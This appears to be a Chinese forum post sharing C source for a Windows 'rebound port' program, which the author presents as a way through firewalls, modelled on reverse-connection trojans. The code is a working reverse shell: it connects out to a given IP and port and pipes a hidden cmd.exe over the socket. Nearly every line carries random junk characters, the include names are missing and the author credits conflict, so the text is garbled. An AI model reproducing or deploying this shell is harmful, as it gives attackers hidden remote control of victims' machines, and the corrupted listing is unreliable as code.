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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t#.}0Te7  
C[,h!  
/* ============================== ,&,%B|gT]  
Rebound port in Windows NT 1R}9k)JQ  
By wind,2006/7 *R+M#l9D`  
===============================*/ 1< vJuF^  
#include wxHd^b  
#include X.#*+k3s0  
y7pBcyWTE=  
#pragma comment(lib,"wsock32.lib") OFr"RGW"  
Q qF<HCO  
void OutputShell(); IER;d\_V<  
SOCKET sClient; ;cVK2'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; igQzL*X  
=-oP,$k  
void main(int argc,char **argv) yr},pB  
{ p^Ey6,!8]D  
WSADATA stWsaData; S!A:/(^WB  
int nRet; @2"uJ6o  
SOCKADDR_IN stSaiClient,stSaiServer; h1q 3}-  
#v(As) 4^  
if(argc != 3) -F/)-s6#!'  
{ FZgf"XM>  
printf("Useage:\n\rRebound DestIP DestPort\n"); }m<+tn3m  
return; sFZdj0tQ4  
} $@6q5Iz!&  
N_ ODr]L  
WSAStartup(MAKEWORD(2,2),&stWsaData); Dl.< (/  
Y"t|0dO%b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dXDyY  
K_+M?ap_  
stSaiClient.sin_family = AF_INET; <,DMD  
stSaiClient.sin_port = htons(0); t? &;   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F7<M{h5s  
+On2R&m  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) imADjBR]  
{ A@~9r9Uf  
printf("Bind Socket Failed!\n"); pzRVX8  
return; IsT}T}p,t  
} Uhvy 2}w  
:Jyr^0`J  
stSaiServer.sin_family = AF_INET; _L)LyQD]T  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Gd C=>\]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n5"i'o{w  
t~qSiHw  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~<u\YIJ  
{ S'RRe84 C  
printf("Connect Error!"); Fdl0V:<  
return; f]10^y5&  
} 1?)h-aN  
OutputShell(); j(I(0Yyh  
} ?4%#myO3a  
X7*ossv  
void OutputShell() R[j'<gd.  
{ YP!}Bf  
char szBuff[1024]; F+G+XtOS  
SECURITY_ATTRIBUTES stSecurityAttributes; ih("`//nP  
OSVERSIONINFO stOsversionInfo; Eva&FHRTY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z wKX$(n  
STARTUPINFO stStartupInfo; !|9@f$Jv  
char *szShell; 0xi2VN"X  
PROCESS_INFORMATION stProcessInformation; `!X8Cn  
unsigned long lBytesRead; I RLAsb3  
"$5cKbJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QX?moW6UW  
r+Sv(KS4i^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X r o5~G  
stSecurityAttributes.lpSecurityDescriptor = 0; Rex 86!TO  
stSecurityAttributes.bInheritHandle = TRUE; *B4OvHi)'  
*pO`sC>  
bfb9A+]3'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zBca$Vp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \*5z0A9)5)  
S^1ZsD.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z!q$d/1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .,VLQ btg  
stStartupInfo.wShowWindow = SW_HIDE; `E;xI v|  
stStartupInfo.hStdInput = hReadPipe; uYO$gRem  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -m ,Y6  
j7Zv"Vq@  
GetVersionEx(&stOsversionInfo); h+_:zWU  
`}ZtK574  
switch(stOsversionInfo.dwPlatformId) 18~jUYMV  
{ 9h+T O_T@F  
case 1: >BJBM |  
szShell = "command.com"; 'o= DGm2H  
break; ',+Zqog92  
default: ~mHrgxQ-  
szShell = "cmd.exe"; 0T@axQ[%  
break; r0f&n;0U4  
} d8Cd4qIXX  
>} Mw"   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `o{_+Li9  
n[;)(  
send(sClient,szMsg,77,0); C!K&d,M  
while(1) Ya jAz5N  
{ ( ?e Et&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lV./K;\T  
if(lBytesRead) [g@Uc  
{ K{Nj-Rqd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @G>e Cj  
send(sClient,szBuff,lBytesRead,0); B)d 4]]4\\  
}  !Qsjn  
else 3:w_49~: ~  
{ I(3YXv VN  
lBytesRead=recv(sClient,szBuff,1024,0); o*~=NoR  
if(lBytesRead<=0) break; f6( 1jx"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r_8;aPL  
} $PlMyLu7jc  
} < h|&7  
S6JWsi4C:,  
return; [Tvdchl OC  
}
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